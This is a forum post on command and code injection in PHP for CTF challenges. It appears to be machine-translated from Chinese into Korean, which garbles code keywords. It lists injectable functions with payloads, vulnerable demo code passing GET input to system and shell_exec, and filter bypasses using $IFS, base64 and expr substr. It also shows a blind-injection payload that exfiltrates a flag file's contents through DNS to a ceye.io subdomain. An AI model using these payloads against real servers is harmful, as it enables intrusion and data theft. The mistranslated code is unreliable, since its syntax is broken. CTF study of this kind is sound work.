KoreanHackerTeam
Moderator
CTF 中的命令执行漏洞相关
코드에서 실행할 수있는 특수 함수 포털에 대한 필터링이 없으므로 사용자는 악의적 인 명령문을 제출하여 서버에 전달하여 실행할 수 있습니다.이 취약성 공격의 성공의 주된 이유는 웹 서버가 System (), Eval (), exec () 등과 같은 함수의 매개 변수를 필터링하지 않기 때문입니다.
1 代码注入
1.1 相关函数
1.1.1 eval
12
3
4
5
? php
hilight_file (__ file__);
$ a='phpinfo ();';
평가 ($ a);
?
1.1.2 assert

1.1.3 call_user_func

is_callable 함수를 사용하여 다시 호출 할 수 있는지 확인할 수 있습니다.
1.1.4 call_user_func_array

1.1.5 create_function

1.1.6 preg_replace

패턴과 일치하는 피사체의 일부를 검색하고 교체 또는 실행 결과로 바꾸십시오.
1.1.7 array_map

페이로드 : url? a=assertb=phpinfo ()
1.1.8 usort

페이로드 : url? 1 []=phpinfo () 1 []=1232=assert
1.1.9 uasort

1.1.10 ${php 代码}

1.2 DEMO
12
3
4
5
6
7
? php
하이라이트_file (__ file__);
$ price=$ _get [ 'price'];
$ code='echo $ name'. '가격'. $ 가격. ';';
$ b=create_function ( '$ name', $ code);
$ b ( 'iPhone');
?
페이로드 : url? price=123;} phpinfo ();/*
2 命令注入
2.1 相关函数
2.1.1 system

2.1.2 exec

2.1.3 passthru

2.1.4 shell_exec

2.1.5 `` 运算符

2.1.6 ob_start

2.2 命令执行的绕过
2.2.1 命令执行的分隔符
예를 들어 :1
2
3
4
5
? php
하이라이트_file (__ file__);
$ rce='echo 123';
시스템 ($ rce. $ _get [1]);
?
명령 실행을 구현하는 방법
라인 브레이크 %0A
캐리지 리턴 %0D
지속적인 지시;
배경 프로세스
파이프 라인 기호 |
논리 ||,
2.2.2 命令执行的分隔符
기호$ ifs
$ {ifs}
$ 9 ifs $ 9
URL 배송의 경우 %09
$ {9}
2.2.3 其它 Tips
2.2.3.1 命令拼接
1$ a=l; $ b=s; $ a $ b
2.2.3.2 base64 编码
1`echo chdk | Base64 -D`
2.2.3.3 substr string pos len
이 표현식은 POS 위치에서 길이의 LEN이있는 서브 스트링을 취합니다. POS 또는 LEN이 비 양성 정수 인 경우 빈 문자열이 반환됩니다.echo "$ {path33600:1}" - /

1
2
3
echo '`expr \ $ ifs \ substr \ $ ifs \\ $ (pwd) \\ $ ifs \ 1 \ $ ifs \ 1`'
echo` $ (expr $ {ifs} substr $ {ifs} $ pwd $ {ifs} 1 $ {ifs} 1)` - /
expr $ {ifs} substr $ {ifs} $ session_manager $ {ifs} 6 $ {ifs} 1 {$ ifs} 1

2.3 命令无回显的情况
2.3.1 判断
지연ls | 수면 (3)
HTTP 요청
DNS 요청
ceye.io
2.3.2 利用
쓰기 쉘 (직접 쓰기, 외부 다운로드)HTTP/DNS 및 기타 방법을 가져 오는 방법
2.3.3 DEMO
12
3
4
5
6
7
8
? php
하이라이트_file (__ file__);
포함 ( 'where_is_flag.php');
echo 'ping:';
$ ip=(문자열) $ _ get [ 'ping'];
$ ip=str_replace ( '', '0.0', $ IP);
shell_exec ( 'ping'. $ ip);
?
유효 탑재량:
1
2
ip=; cp where_is_flag.php 1.txt
ip=`cat 1.txt | sed s/[[:space:]] //` .xx.cey.io
기능
Cat 1.txt | sed s //[[:space:] //g는 공간을 제거하는 기능입니다